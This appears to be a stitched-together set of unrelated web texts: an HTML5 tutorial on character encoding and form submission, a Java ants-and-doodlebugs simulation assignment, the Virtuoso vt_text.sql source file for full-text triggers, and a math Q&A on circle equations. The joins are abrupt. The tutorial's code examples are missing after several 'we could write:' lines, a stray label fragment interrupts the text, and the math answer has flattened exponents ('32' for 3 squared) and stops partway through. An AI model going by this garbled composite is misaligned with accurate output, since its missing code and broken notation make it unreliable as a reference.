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1. Code
2. HTML5
HTML5 Mastery: Encoding
by
Difficulty:IntermediateLength:MediumLanguages:
This post is part of a series called HTML5 Mastery Class.
HTML5 Mastery: Scoping Rules
HTML5 Mastery: Fragments
HTML5 Mastery
Encoding is just one of those things that need to be done right. If done wrong, everything seems to be broken and nothing works. If done right, no one will notice. This makes dealing with encoding so annoying.
Nevertheless, we are quite lucky and most of the things are already really well-prepared. We only need to ensure that our documents are saved (and transmitted) with the right encoding. The right encoding is the one we specify. It could be anything, as long as it contains all characters we need, and as long as we stay consistent.
There are three important text encoding rules for HTML:
1. Load the content with the right encoding.
2. Transmit the content with the same encoding.
3. Ensure that the client reads the content with the specified encoding.
In this article we will have a closer look at all three rules in more detail, especially the second and the third. In the end we will also look at form encoding, which has nothing to do with text encoding directly, but does indirectly. We will see why there is some connection.
Choosing the Right Encoding
Either we know directly that our content should be delivered in some exotic encoding or we should just pick UTF-8. There are many reasons why we would want to use UTF-8. It is not a great format for storing characters in memory, but it is just wonderful as a basis for data exchange and content transmission. It is basically a no-brainer. Nevertheless, one of the more common mistakes is to save files without proper encoding. As there is no text without encoding, we should choose the encoding carefully.
Users of Sublime Text and most other text editors have probably never faced a problem with wrong encoding, since these editors save in UTF-8 by default. There are editors, mostly for the Windows platform, which a use different default format, e.g., Windows-1252.
Even in Sublime Text it is one of the more standard operations to change the encoding of the file. In the File menu we select Save with Encoding and select the one we want. That’s it!
Saving Text Encoding Sublime Text
In principle every more advanced editor should have such options. Sometimes they are contained in an advanced save menu. For instance, the editor for Microsoft’s Visual Studio triggers a special dialog after clicking Advanced Save Options… in the File menu.
Visual Studio Advanced Save
We should make sure to use the right encoding. This will use the corresponding bytes for our content. UTF-8 has the major advantage of only requiring a single byte if we do not use a special character. At most 4 bytes per character are consumed. This is dynamic and makes UTF-8 an ideal format for text storage and transmission. The caveat is, however, that UTF-8 is not the best format for using strings from memory.
Controlling the Transmission
The HTTP protocol transmits data as plain text. Even if we decide to encode the transmitted content as GZip or if we use HTTPS, which encrypts the content, the underlying content is still just plain text. We’ve already learned that there is no such thing as just plain text. We always need to associate the content with some encoding to get a text representation.
An HTTP message is split in two parts. The upper part is called the headers. Separated by an empty line is the lower part: the body.
There are always at least two HTTP messages: a request and its associated response. Both types of messages share this structure. The body of a response is the content we want to transmit. The body of a request is only of interest for form submission, which we’ll care about later. If we want to provide some information on the encoding of the content, we have to supply some information in the header.
The following header tells the receiving side that the body contains a special text format called HTML, using the UTF-8 character set.
There is also the Content-Encoding header. We can easily confuse the content encoding with the actual text encoding of the content. The former is used to specify encoding of the whole package, e.g. GZip, while the latter is used as an initial setting for, e.g., parsing the provided content.
If we care about the correctness of this step we have to make sure that our web server sends the correct header. Most web frameworks offer such an ability. In PHP we could write:
In Node.js we may want to use the following, where res is the variable representing the request:
The transmitted header will set the text scanner of the HTML input to the provided setting. In the case of the previous example we use UTF-8. But wait: Initial setting! There are many ways to override this. If the actual content is not UTF-8, the scanner may recognize this and change the setting. Such a change may be triggered by Byte-Order-Mark (known as BOM) detection or by finding encoding-specific patterns in the content. In contrast, the former looks for artificially prepended patterns.
Finally, the encoding may change due to our HTML code. This can only be changed once.
Fixing the Encoding
Once the DOM constructor hits a meta tag, it will look for a charset declaration. If one is found, the character set will be extracted. If we can extract it successfully and if the encoding is valid, we set the new encoding for scanning further characters. At this point the encoding will be frozen, and no further changes are possible.
There is just one caveat. To check if the previous scanning was alright, we need to compare the characters that have already been scanned with the characters that would have been scanned. Hence we need to see if changing the encoding earlier would have made some difference. If we find a difference, we need to restart the whole parsing procedure. Otherwise the whole DOM structure may be wrong up to this point.
As a consequence we’ve already learned two lessons:
1. Place the <meta charset="utf-8"> (or some other encoding) tag as soon as possible.
2. Only use ASCII characters before specifying the charset attribute in HTML.
Finally, a good starter for a boilerplate looks as follows. As we learned in the previous article, we can omit the head and body tags. The snippet does two things right: It uses the correct document type, and it selects the character set as soon as possible.
The only remaining question is: What happens if I forget one of these three steps? Well, the first and third steps are the most important ones. The transmission is actually not that bad. If no initial encoding is given from the HTTP headers, the browser will select the initial encoding based on the user’s locale. With a German locale we get Windows-1252. This is actually the default for most countries. Some countries, like Poland or Hungary, select Latin2, also known as iso-8859-2.
In principle we do not have to worry about this initial encoding if we followed the best practices described earlier. ASCII is a subset of Unicode, and most of the listed encodings are actually just ASCII extensions to satisfy the specific needs of one or more countries. If we only use basic ASCII characters until the character set is specified, we should be fine.
Much more severe is a conflict between the stored / read or generated data, which is delivered to the client, and the statement in the meta tag. If something went wrong we may see renderings like the following. This is not a pleasant user experience.
Encoding Problem
Coming back to determining the right encoding, there are many reasons why UTF-8 would be the best choice. Any other encoding should at least be sufficient for the characters we want to display. However, if we provide form input fields, we may be in trouble. At this point we do not control the characters that are used any more. Users are allowed to input anything here. Let’s see how we can control the encoding for form input.
Submitting Forms
A form is submitted with a certain encoding type, which is not the same as the encoding type of a server’s response, e.g. GZip. The form’s encoding type determines how the form is serialized before sending it to the server. It is particularly useful in conjunction with the HTTP verb.
Ordinary form submissions use POST as HTTP verb, but GET, PUT and DELETE are also common. Only POST and PUT are supposed to use the body for content transmission in the request. The browser will construct the content with respect to the choice of the enctype attribute of the <form> element, specifying the encoding type. The encoding type is transported by setting the Content-Type header in the HTTP request.
There are three well-established encoding types:
1. URL encoded (default value, explicitly application/x-www-form-urlencoded)
2. Plain text (text/plain)
3. Multipart (multipart/form-data)
The first and the second are quite similar, but they have subtle (and very important) differences. The third variant is the most powerful method. It even allows the transporting of arbitrary files as attachments.
The key difference between the first two types is that URL encoded form transmission percent-encodes all names and values, which is not done by plain text. The percent-encoding guarantees that the receiving side can distinguish between names and values. This guarantee does not exist with plain text form submission. The third variant uses a boundary string to separate the entries, which is unique by construction.
Let’s visualize the differences by submitting a simple form. The form contains the following code:
Submitting the form without specifying any encoding type transmits the following body:
The URL encoding transforms the white-space characters to plus signs. Existing plus signs, like all “special” characters, are transformed by the percent-encoding rules. This especially applies to new lines, originally represented by \r\n, which are now displayed as %0D%0A.
Let’s see what the outcome for plain text encoding looks like.
The pairs are split by new lines. This is especially problematic for multi-line content and may lead to incorrect representations.
In a way the multipart encoding combines the advantages of plain text submission with a defined boundary, which essentially solves the problems of the plain text encoding. The only drawback is the increased content length.
The last two form encoding methods also displayed special characters exactly as we’ve entered them. Form transmission primarily uses the accept-charset attribute of the corresponding `</form>
` element. If no such attribute is given, the encoding of the page is used. Again, setting the correct encoding is important. In the future we will see a fourth encoding type, called `application/json`. As the name suggests, it will pack the form content into a JSON string. ## Conclusion Choosing the right encoding can be as easy as just picking UTF-8. Typical problems can be avoided by using the same encoding consistently. Declaring the encoding during transport is certainly useful, although not required, especially if we follow best practices for placing a `` element with the `charset` attribute. Form submission is a process that relies on the right encoding choice—not only for the text, but for the submission itself. In general we can always choose `multipart/form-data` as `enctype`, even though the default encoding type might be better (smaller) in most scenarios. In production we should never use `text/plain`. ## References * [UTF-8: The Secret of Character Encoding](https://htmlpurifier.org/docs/enduser-utf8.html) * [W3C Specification: Form Submission](http://www.w3.org/TR/html5/forms.html#attr-fs-enctype) * [W3C Specification: Encoding](http://www.w3.org/TR/encoding/) * [W3C Specification: Initial Encoding Determination](http://www.w3.org/TR/html51/syntax.html#the-input-byte-stream) * [StackOverflow: What is the boundary in multipart/form-data?](https://stackoverflow.com/questions/3508338/what-is-the-boundary-in-multipart-form-data)
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Program of bug simulation , JAVA Programming
You will be creating a World that consists of ants and doodlebugs. Each time you click the board each bug will do some of the following: move, bread, eat, and starve.
Ants will function in a certain way, and doodlebugs in another.
This assignment is based on Absolute Java.
900_Bug Simulation 1.png
Bug Rules
Ants
Move
1. Every time step the ant will attempt to move.
2. Pick a random direction using a random generator (up, right, down, or left).
3. If the space is on the grid, and not occupied then the ant will move there.
Breed
1. If an ant survives 3 time steps he will attempt to breed.
2. He breeds by creating a new ant in a space adjacent to himself.
3. If there is no empty space adjacent to himself to breed then he will not do so.
4. He will then wait 3 more time steps until tries to breed again.
Doodlebugs
Move
1. Every time step the doodlebug will move.
2. First he will check out each direction. If there is an ant in an adjacent space he will move there (consequently taking up the ants space and eating him!)
3. If there was no ant in an adjacent space he will move just like ants do.
4. Note: doodlebugs can't eat other doodlebugs
Breed
1. If a doodlebug survives 8 time steps he will attempt to breed.
2. He breeds in the same manner as an ant.
Starve
1. If an ant has not eaten an ant within the last 3 time steps, then at the end of the last time step he will die of starvation. You will remove him from the grid.
UML
Ants and Doodlebugs will extend from a generic Organism.
Create a UML diagram for the Organism, Ant and Doodlebug. This diagram may change as you develop your design, but having a basic flow will greatly help in the implementation.
Provided Files
1. World.java
2. Organism.java
3. Ant.java
4. Doodlebug.java
5. ant.png
6. doodlebug.png
Word
Methods you will use in your classes. Don't modify this class.
public Organism getAt(int x, int y)
1. Returns the Organism at the x, y position in the grid.
2. If there is no organism it returns null
public void setAt(int x, int y, Organism bug)
1. Sets the entry at the x, y position in the grid to the specified organism
public boolean pointInGrid(int x, int y)
1. Returns true if the point x, y is in the grid and false if it goes beyond the grid space (e.g. if x = -1 that is not in the grid)
Images
1. Put the two images in an images folder within your src
What you need to edit
1. Organism.java
2. Ant.java
3. Doodlebug.java
Organims
Here are the methods that the World calls on the Organisms. I assume you will want to make more methods, such as move...
Organism(World world, int x, int y)
1. Creates a new Organism
2. The coordinates in the grid (X and Y) are required so you can pick a new location relative to its current to move to, and breed at.
3. The World is required so you can call methods like getAt(x, y), setAt(x, y), and pointInGrid(x, y) on it.
public abstract String toString()
1. This method is written for you
2. Returns the string representation of the organism ("ant", "doodlebug"). Used by the World to determine which type of organism it is.
public void resetSimulation()
1. This method has been written for you
2. You will need to keep track of weather the organism has simulated this time step or not in an attribute of the class. This is important as it stops an organism from moving to a new place in the grid and then simulating again.
public boolean simulate()
1. This will set the attribute that keeps track of weather it has simulated to true. This method returns true if it simulates, and false if it doesn't (has already simulated)
2. If the organism was created this time step don't do the rest
3. Call move, then breed, then starve (only for doodlebugs).
4. You will then increment a time step counter
Ant and DoodleBug
1. I want you to figure out what goes here
Posted Date: 2/20/2013 1:08:00 AM | Location : United States
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File: vt_text.sql
package info (click to toggle)
virtuoso-opensource 6.1.6+dfsg2-4
• links: PTS, VCS
• area: main
• in suites: bullseye, buster, sid, stretch
• size: 260,992 kB
• ctags: 125,220
• sloc: ansic: 652,748; sql: 458,419; xml: 282,834; java: 61,031; sh: 40,031; cpp: 36,890; cs: 25,240; php: 12,692; yacc: 9,523; lex: 7,018; makefile: 6,157; jsp: 4,484; awk: 1,643; perl: 1,013; ruby: 1,003; python: 326
file content (481 lines) | stat: -rw-r--r-- 17,952 bytes parent folder | download | duplicates (2)
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--
-- vt_text.sql
--
-- $Id$
--
-- Text triggers support.
--
-- This file is part of the OpenLink Software Virtuoso Open-Source (VOS)
-- project.
--
-- Copyright (C) 1998-2012 OpenLink Software
--
-- This project is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; only version 2 of the License, dated June 1991.
--
-- This program is distributed in the hope that it will be useful, but
-- WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-- General Public License for more details.
--
-- You should have received a copy of the GNU General Public License along
-- with this program; if not, write to the Free Software Foundation, Inc.,
-- 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
--
--
create procedure DB.DBA.execstmt (in stmt varchar, out stat varchar, out msg varchar)
{
stat := '00000';
exec (stmt, stat, msg, vector (), 0, null, null);
if (stat <> '00000')
{
return 1;
}
return 0;
}
;
create procedure DB.DBA.vt_create_ftt (in tb varchar, in id varchar, in dbcol varchar, in is_intr integer)
{
declare stmt, stat, msg, verr varchar;
declare tbn0, tbn1, tbn2, data_table_suffix, theuser varchar;
-- tb := complete_table_name (fix_identifier_case (tb), 1);
verr := '';
tb := complete_table_name ((tb), 1);
tbn0 := name_part (tb, 0);
tbn1 := name_part (tb, 1);
tbn2 := name_part (tb, 2);
data_table_suffix := concat (tbn0, '_', tbn1, '_', tbn2);
data_table_suffix := DB.DBA.SYS_ALFANUM_NAME (replace (data_table_suffix, ' ', '_'));
theuser := user;
if (theuser = 'dba') theuser := 'DBA';
if (not exists (select 1 from DB.DBA.SYS_VT_INDEX where 0 = casemode_strcmp (VI_TABLE, tb)))
{
verr := 'FT035';
stat := '42S02';
msg := sprintf ('Text index should be enabled for the table "%s"', tb);
goto err;
}
if (not isstring (id))
select VI_ID_COL into id from DB.DBA.SYS_VT_INDEX where 0 = casemode_strcmp (VI_TABLE, tb);
if (not isstring (dbcol))
select VI_COL into dbcol from DB.DBA.SYS_VT_INDEX where 0 = casemode_strcmp (VI_TABLE, tb);
if (not exists (select 1 from DB.DBA.SYS_COLS where "TABLE" = tb and "COLUMN" = id))
{
stat := '42S22';
verr := 'FT036';
msg := sprintf ('The id column "%s" does not exist in table "%s" definition', id, tb);
goto err;
}
if (not exists (select 1 from DB.DBA.SYS_COLS where "TABLE" = tb and "COLUMN" = dbcol))
{
stat := '42S22';
verr := 'FT037';
msg := sprintf ('The data column "%s" does not exist in table "%s" definition', dbcol, tb);
goto err;
}
-- prevent making of error messages if creation is internal
if (is_intr = 2 and exists (select 1 from DB.DBA.SYS_KEYS
where KEY_TABLE = sprintf ('%s.%s.%s_%s_QUERY', tbn0, tbn1, tbn2, dbcol)))
return;
-- Upgrade an old database
if (not exists
(select 1 from DB.DBA.SYS_PROCEDURES where P_NAME = sprintf ('%I.%I.VT_HITS_%I', tbn0, tbn1, tbn2)))
{
stmt := concat (
sprintf (
'create procedure "%I"."%I"."VT_BATCH_PROCESS_%s" (inout vtb any, in doc_id int) {\n',tbn0, tbn1, data_table_suffix),
'declare invd any;\n
invd := vt_batch_strings_array (vtb);\n
if (length (invd) < 1) return;\n',
sprintf ('"%I"."%I"."VT_HITS_%I" (vtb, invd);\n', tbn0, tbn1, tbn2),
sprintf (
'log_text (''"%I"."%I"."VT_BATCH_REAL_PROCESS_%s" (?, ?)'', invd, doc_id);\n', tbn0, tbn1, data_table_suffix),
'log_enable (0);\n',
sprintf (
'"%I"."%I"."VT_BATCH_REAL_PROCESS_%s" (invd, doc_id);\n',tbn0, tbn1, data_table_suffix),
'log_enable (1);}\n');
DB.DBA.execstr (stmt);
}
-- Tables definition
stmt := sprintf ('CREATE TABLE "%I"."%I"."%I"
(TT_WORD VARCHAR, TT_ID INTEGER, TT_QUERY VARCHAR, TT_CD VARCHAR,
TT_COMMENT VARCHAR, TT_XPATH VARCHAR, TT_PREDICATE VARCHAR,
PRIMARY KEY (TT_WORD, TT_ID))',
tbn0, tbn1, concat (tbn2, '_', dbcol, '_QUERY'));
if (DB.DBA.execstmt (stmt, stat, msg))
goto err;
stmt := sprintf ('CREATE TABLE "%I"."%I"."%I"
(TTU_T_ID INTEGER, TTU_U_ID INTEGER, TTU_NOTIFY VARCHAR, TTU_COMMENT VARCHAR,
PRIMARY KEY (TTU_T_ID, TTU_U_ID))',
tbn0, tbn1, concat (tbn2, '_', dbcol, '_USER'));
if (DB.DBA.execstmt (stmt, stat, msg))
goto err;
stmt := sprintf ('CREATE TABLE "%I"."%I"."%I"
(TTH_U_ID INTEGER, TTH_D_ID any, TTH_T_ID INTEGER, TTH_TITLE VARCHAR,
TTH_URL VARCHAR, TTH_TS TIMESTAMP, TTH_NOTIFY VARCHAR,
PRIMARY KEY (TTH_U_ID, TTH_TS, TTH_D_ID, TTH_T_ID))',
tbn0, tbn1, concat (tbn2, '_', dbcol, '_HIT'));
if (DB.DBA.execstmt (stmt, stat, msg))
goto err;
-- Trigger definition
stmt := sprintf ('CREATE TRIGGER "%I_FTT_D" AFTER DELETE ON "%I"."%I"."%I" ORDER 3 %s
DELETE FROM "%I"."%I"."%I_%I_HIT" WHERE TTH_D_ID = "%I"; %s',
tbn2, tbn0, tbn1, tbn2, '{', tbn0, tbn1, tbn2, dbcol, id, '}');
-- Procedures definition
if (DB.DBA.execstmt (stmt, stat, msg))
goto err;
stmt := concat ( sprintf ('create procedure "%I"."%I"."VT_HITS_%I"', tbn0, tbn1, tbn2), '(inout vtb any, inout strs any)
{
declare tried, hits, doc_id, u_id integer;
declare len, inx int;
inx := 0;len := length (strs);tried := 0;',
sprintf ('if (registry_get (''tt_%s_%s_%s'') = ''OFF'') return;', tbn0, tbn1, tbn2),
'while (inx < len)
{
for select TT_ID, TT_QUERY, TT_COMMENT, TT_CD, TT_XPATH from ',
sprintf ('"%I"."%I"."%I"', tbn0, tbn1, concat(tbn2, '_', dbcol, '_QUERY')), '
where TT_WORD = aref (strs, inx) do
{
declare ids, ntf, xp any;
tried := tried + 1;
declare ii, is_xp int;
is_xp := 0;
if (TT_XPATH is not null and TT_XPATH <> '''')
{
xp := deserialize (TT_QUERY);
ids := vt_batch_match (vtb, xp);
is_xp := 1;
}
else
ids := vt_batch_match (vtb, TT_QUERY);
hits := hits + length (ids);
ii := 0;',
sprintf ('select TTU_NOTIFY, TTU_U_ID into ntf, u_id from "%I"."%I"."%I_%I_USER" where TTU_T_ID = TT_ID;', tbn0, tbn1, tbn2, dbcol),
'while (ii < length (ids))
{
doc_id := aref (ids, ii);
if (<INSERT_COND>)
{
', sprintf ('if ((is_xp = 0)
or (is_xp = 1 and exists (select 1 from "%I"."%I"."%I"
where "%I" = doc_id and xpath_contains ("%I", TT_XPATH))))',
tbn0, tbn1, tbn2, id, dbcol),
sprintf ('insert soft "%I"."%I"."%I" (TTH_U_ID, TTH_T_ID, TTH_D_ID, TTH_NOTIFY)
select TTU_U_ID, TT_ID, doc_id, ntf from "%I"."%I"."%I" where TTU_T_ID = TT_ID;
}
ii := ii + 1;
}
}
inx := inx + 2;
}
--dbg_obj_print ('' batch '', length (strs) / 2, ''distinct tried '', tried, '' hits '', hits);
}', tbn0, tbn1, concat (tbn2, '_', dbcol, '_HIT'),
tbn0, tbn1, concat (tbn2, '_', dbcol, '_USER')));
-- for WebDAV resources display only if user have read access
if (0 <> casemode_strcmp (tb, 'WS.WS.SYS_DAV_RES'))
stmt := replace (stmt, '<INSERT_COND>', '1 = 1');
else
stmt := replace (stmt, '<INSERT_COND>', 'WS.WS.CHECK_READ_ACCESS (u_id, doc_id)');
-- dbg_obj_print (stmt);
if (DB.DBA.execstmt (stmt, stat, msg))
goto err;
stmt := sprintf (' create procedure "%I"."%I"."TT_WORD_FREQ_%I" (in w varchar)
{
declare l1, l2 integer;
l1 := 0; l2 := 0;
whenever not found goto none;
select sum (length (VT_DATA)),
sum (length (VT_LONG_DATA)) into l1, l2 from "%I"."%I"."%I_%I_WORDS"
where VT_WORD = w;
none:
return (coalesce (l1, 0) + coalesce (l2, 0));
}', tbn0, tbn1, tbn2, tbn0, tbn1, tbn2, dbcol);
if (DB.DBA.execstmt (stmt, stat, msg))
goto err;
stmt := sprintf ('create procedure "%I"."%I"."TT_QUERY_%I" (in exp varchar, in u_id int, in comment varchar,
in notify varchar, in user_data varchar := null, in predicate varchar := null)
{
declare t_id, ix, len integer;
declare w any;
t_id := coalesce ((select top 1 TT_ID + 1 from "%I"."%I"."%I_%I_QUERY"
order by TT_ID desc), 1);
w := "%I"."%I"."TT_QUERY_WORD_%I" (exp, 0);
len := length (w); ix := 0;
while (ix < len) {
insert into "%I"."%I"."%I_%I_QUERY" (TT_ID, TT_QUERY, TT_WORD, TT_COMMENT, TT_CD, TT_PREDICATE)
values (t_id, exp, aref (w, ix), comment, user_data, predicate);
ix := ix + 1;
}
insert soft "%I"."%I"."%I_%I_USER" (TTU_T_ID, TTU_U_ID, TTU_NOTIFY, TTU_COMMENT)
values (t_id, u_id, notify, comment);
}', tbn0, tbn1, tbn2,
tbn0, tbn1, tbn2, dbcol,
tbn0, tbn1, tbn2,
tbn0, tbn1, tbn2, dbcol,
tbn0, tbn1, tbn2, dbcol);
if (DB.DBA.execstmt (stmt, stat, msg))
goto err;
-- XPATH search
stmt := sprintf ('create procedure "%I"."%I"."TT_XPATH_QUERY_%I" (in exp varchar, in u_id int, in comment varchar,
in notify varchar, in user_data varchar := null, in predicate varchar := null)
{
declare t_id, ix, len integer;
declare w any;
declare xp any;
xp := xpath_text (exp);
t_id := coalesce ((select top 1 TT_ID + 1 from "%I"."%I"."%I_%I_QUERY"
order by TT_ID desc), 1);
w := "%I"."%I"."TT_QUERY_WORD_%I" (xp, 1);
len := length (w); ix := 0;
while (ix < len) {
insert into "%I"."%I"."%I_%I_QUERY" (TT_ID, TT_QUERY, TT_WORD, TT_COMMENT, TT_XPATH, TT_CD, TT_PREDICATE)
values (t_id, serialize (xp), aref (w, ix), comment, exp, user_data, predicate);
ix := ix + 1;
}
insert soft "%I"."%I"."%I_%I_USER" (TTU_T_ID, TTU_U_ID, TTU_NOTIFY, TTU_COMMENT)
values (t_id, u_id, notify, comment);
}', tbn0, tbn1, tbn2,
tbn0, tbn1, tbn2, dbcol,
tbn0, tbn1, tbn2,
tbn0, tbn1, tbn2, dbcol,
tbn0, tbn1, tbn2, dbcol);
if (DB.DBA.execstmt (stmt, stat, msg))
goto err;
-- end XPATH search
declare pname varchar;
pname := sprintf ('"%I"."%I"."TT_QUERY_WORD_1_%I"', tbn0, tbn1, tbn2);
stmt := sprintf ('create procedure %s
(in tree any, inout best_w varchar, inout score integer, in topop integer, inout words any)
{
declare op integer;
if (isarray (tree))
{
op := aref (tree, 0);
if (op = 4 or op = 1210 or op = 1209)
{
declare inx int;
inx := 0;
while (inx < length (tree))
{
%s (aref (tree, inx), best_w, score, op, words);
inx := inx + 1;
}
}
else if (op = 1211)
{
%s (aref (tree, 2), best_w, score, op, words);
}
else if (op = 1)
{
declare ct int;
declare searched_word varchar;
searched_word := aref (tree, 2);
if (strchr (searched_word, ''*'') is not null)
return;
ct := "%I"."%I"."TT_WORD_FREQ_%I" (searched_word);
if (ct < score and topop <> 3)
{
score := ct;
best_w := searched_word;
}
else if (topop = 3)
best_w := searched_word;
}
else if (op = 3)
{
declare inx, sc1 int;
inx := 0;
while (inx < length (tree))
{
best_w := null;
sc1 := score;
score := 1000000000;
%s (aref (tree, inx), best_w, score, op, words);
if (words is null and best_w is not null)
words := vector (best_w);
else if (best_w is not null)
words := vector_concat (words, vector (best_w));
score := sc1;
best_w := null;
inx := inx + 1;
}
}
}
}', pname, pname, pname, tbn0, tbn1, tbn2, pname);
if (DB.DBA.execstmt (stmt, stat, msg))
goto err;
stmt := sprintf ('create procedure "%I"."%I"."TT_QUERY_WORD_%I" (in exp varchar, in is_xpath integer)
{
declare tree, ws1 any;
declare w varchar;
declare sc int;
sc := 1000000000;
w := ''__'';
ws1 := null;
if (is_xpath = 0)
tree := vt_parse (exp);
else
tree := exp;
%s (tree, w, sc, 0, ws1);
if (w is not null)
return vector (w);
else if (isarray (ws1))
return ws1;
return vector (''__'');
}', tbn0, tbn1, tbn2, pname);
if (DB.DBA.execstmt (stmt, stat, msg))
goto err;
stmt := sprintf ('create procedure "%I"."%I"."TT_NOTIFY_%I" () {
declare stat, msg, ntf, comment varchar;
declare _u_id, _ts, _d_id, _t_id, rc_call any;
for select distinct TTH_NOTIFY as _tt_notify from "%I"."%I"."%I_%I_HIT" where TTH_NOTIFY like ''%%@%%'' do
{
declare _message, _msg_tit varchar;
declare _cnt_hits integer;
declare _short_text varchar;
declare hits_data any;
_cnt_hits := 0;
_message := ''\\r\\nQuery/Hit Date/Document ID'';
hits_data := vector ();
for select TTH_U_ID, TTH_TS, TTH_D_ID, TTH_T_ID, TTH_NOTIFY
from "%I"."%I"."%I_%I_HIT" where TTH_NOTIFY = _tt_notify
order by TTH_TS
do
{
whenever not found goto nfq;
select coalesce (TT_COMMENT, TT_QUERY) into comment from
"%I"."%I"."%I_%I_QUERY" where TT_ID = TTH_T_ID;
nfq:
if (comment is null)
comment := ''*** no query ***'';
_cnt_hits := _cnt_hits + 1;
hits_data := vector_concat (hits_data, vector (vector (comment, TTH_TS, TTH_D_ID)));
_message := concat (_message, ''\\r\\n'', comment, ''/'',
substring (datestring (TTH_TS), 1, 19), ''/'',
cast (TTH_D_ID as varchar));
}
stat := ''00000'';
_msg_tit := concat (''Subject: Text trigger notification: New '',
cast (_cnt_hits as varchar) , '' hit(s) registered\\r\\n'');
_message := concat (_msg_tit, _message);
rc_call := 0;
if (__proc_exists (''%s.%s.%s_INFO_TEXT''))
{
rc_call := call (''%s.%s.%s_INFO_TEXT'') (_tt_notify, hits_data);
}
if (not rc_call)
{
exec (''smtp_send (null,?,?,?)'', stat, msg,
vector (_tt_notify, _tt_notify, _message));
}
update "%I"."%I"."%I_%I_HIT" set TTH_NOTIFY = '''' where TTH_NOTIFY = _tt_notify;
}
return;
}',
tbn0, tbn1, tbn2,
tbn0, tbn1, tbn2, dbcol,
tbn0, tbn1, tbn2, dbcol,
tbn0, tbn1, tbn2, dbcol,
tbn0, tbn1, tbn2,
tbn0, tbn1, tbn2,
tbn0, tbn1, tbn2, dbcol);
--dbg_obj_print (stmt);
if (DB.DBA.execstmt (stmt, stat, msg))
goto err;
insert into DB.DBA.SYS_SCHEDULED_EVENT (SE_NAME, SE_START, SE_SQL, SE_INTERVAL)
values (sprintf ('Notification for text hits on "%s.%s.%s"', tbn0, tbn1, tbn2), now (), sprintf ('"%I"."%I"."TT_NOTIFY_%I"()', tbn0, tbn1, tbn2), 10);
return 0;
err:
if (stat <> '42S01' and verr <> 'FT035' and verr <> 'FTT036' and verr <> 'FT037')
DB.DBA.vt_drop_ftt (tb, dbcol);
if (is_intr <> 2 and verr <> '')
{
signal (stat, msg, verr);
}
else if (is_intr <> 2 and verr = '')
{
signal (stat, msg);
}
}
;
create procedure DB.DBA.vt_drop_ftt (in tb varchar, in dbcol varchar)
{
declare stmt, stat, msg varchar;
declare tbn0, tbn1, tbn2 varchar;
-- tb := complete_table_name (fix_identifier_case (tb), 1);
tb := complete_table_name ((tb), 1);
tbn0 := name_part (tb, 0);
tbn1 := name_part (tb, 1);
tbn2 := name_part (tb, 2);
if (not exists (select 1 from DB.DBA.SYS_VT_INDEX where 0 = casemode_strcmp (VI_TABLE, tb)))
signal ('42S02', sprintf ('Text index not defined for "%s"', tb), 'FT034');
if (not isstring (dbcol))
select VI_COL into dbcol from DB.DBA.SYS_VT_INDEX where 0 = casemode_strcmp (VI_TABLE, tb);
stmt := sprintf ('DROP TRIGGER "%I"."%I"."%I_FTT_D"', tbn0, tbn1, tbn2);
DB.DBA.execstmt (stmt, stat, msg);
stmt := sprintf ('DROP PROCEDURE "%I"."%I"."VT_HITS_%I"' , tbn0, tbn1, tbn2);
DB.DBA.execstmt (stmt, stat, msg);
stmt := sprintf ('DROP PROCEDURE "%I"."%I"."TT_WORD_FREQ_%I"', tbn0, tbn1, tbn2);
DB.DBA.execstmt (stmt, stat, msg);
stmt := sprintf ('DROP PROCEDURE "%I"."%I"."TT_QUERY_%I"', tbn0, tbn1, tbn2);
DB.DBA.execstmt (stmt, stat, msg);
stmt := sprintf ('DROP PROCEDURE "%I"."%I"."TT_XPATH_QUERY_%I"', tbn0, tbn1, tbn2);
DB.DBA.execstmt (stmt, stat, msg);
stmt := sprintf ('DROP PROCEDURE "%I"."%I"."TT_QUERY_WORD_1_%I"', tbn0, tbn1, tbn2);
DB.DBA.execstmt (stmt, stat, msg);
stmt := sprintf ('DROP PROCEDURE "%I"."%I"."TT_QUERY_WORD_%I"',tbn0, tbn1, tbn2);
DB.DBA.execstmt (stmt, stat, msg);
stmt := sprintf ('DROP PROCEDURE "%I"."%I"."TT_NOTIFY_%I"',tbn0, tbn1, tbn2);
DB.DBA.execstmt (stmt, stat, msg);
stmt := sprintf ('DROP TABLE "%I"."%I"."%I"', tbn0, tbn1, concat (tbn2, '_', dbcol,'_QUERY'));
DB.DBA.execstmt (stmt, stat, msg);
stmt := sprintf ('DROP TABLE "%I"."%I"."%I"', tbn0, tbn1, concat (tbn2, '_', dbcol, '_USER'));
DB.DBA.execstmt (stmt, stat, msg);
stmt := sprintf ('DROP TABLE "%I"."%I"."%I"', tbn0, tbn1, concat (tbn2, '_', dbcol, '_HIT'));
-- make an empty procedure
DB.DBA.execstmt (stmt, stat, msg);
stmt := sprintf ('create procedure "%I"."%I"."VT_HITS_%I" (inout vtb any, inout strs any)
{ return; }', tbn0, tbn1, tbn2 );
DB.DBA.execstmt (stmt, stat, msg);
delete from DB.DBA.SYS_SCHEDULED_EVENT where SE_NAME = sprintf ('Notification for text hits on "%s.%s.%s"', tbn0, tbn1, tbn2);
return;
}
;
--#IF VER=5
--!AFTER
--#ENDIF
grant execute on DB.DBA.vt_create_text_index to public
; | __label__pos | 0.549881 |
Welcome :: Homework Help and Answers :: Mathskey.com
Welcome to Mathskey.com Question & Answers Community. Ask any math/science homework question and receive answers from other members of the community.
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Standard and General Form of the Circle's Equation?
+3 votes
Standard and General Form of the Circle's Equation?
Write the standard form of the equation and the general form of the equation of each circle of radius r and center (h, k).
(1) r = 3; (h, k) = (0, 0 )
(2) r = 5; (h, k) = (-5, 2)
asked Jan 16, 2013 in ALGEBRA 1 by homeworkhelp Mentor
1 Answer
+5 votes
Best answer
(1) r = 3; (h, k) = (0, 0 )
General Form equation is x2 + y2 – 2hx – 2ky + h2 + k2 – r2 = 0, where (h, k) is the centre and r, the radius.
x2 + y2 + 2(0)x – 2(0)y + 02 + 02 – 32 = 0
x2 + y2 – 32 = 0
x2 + y2 – 9 = 0
Standard Form Equation is (x – h)2 + (y – k)2 = r2 where (h, k) is the centre and r, the radius.
(x – 0) 2 + (y – 0) 2 = 32
x2 + y2 = 9 .
2) r = 5; (h, k) = (-5, 2)
General Form equation is x2 + y2 – 2hx – 2ky + h2 + k2 – r2 = 0, where (h, k) is the centre and r, the radius.
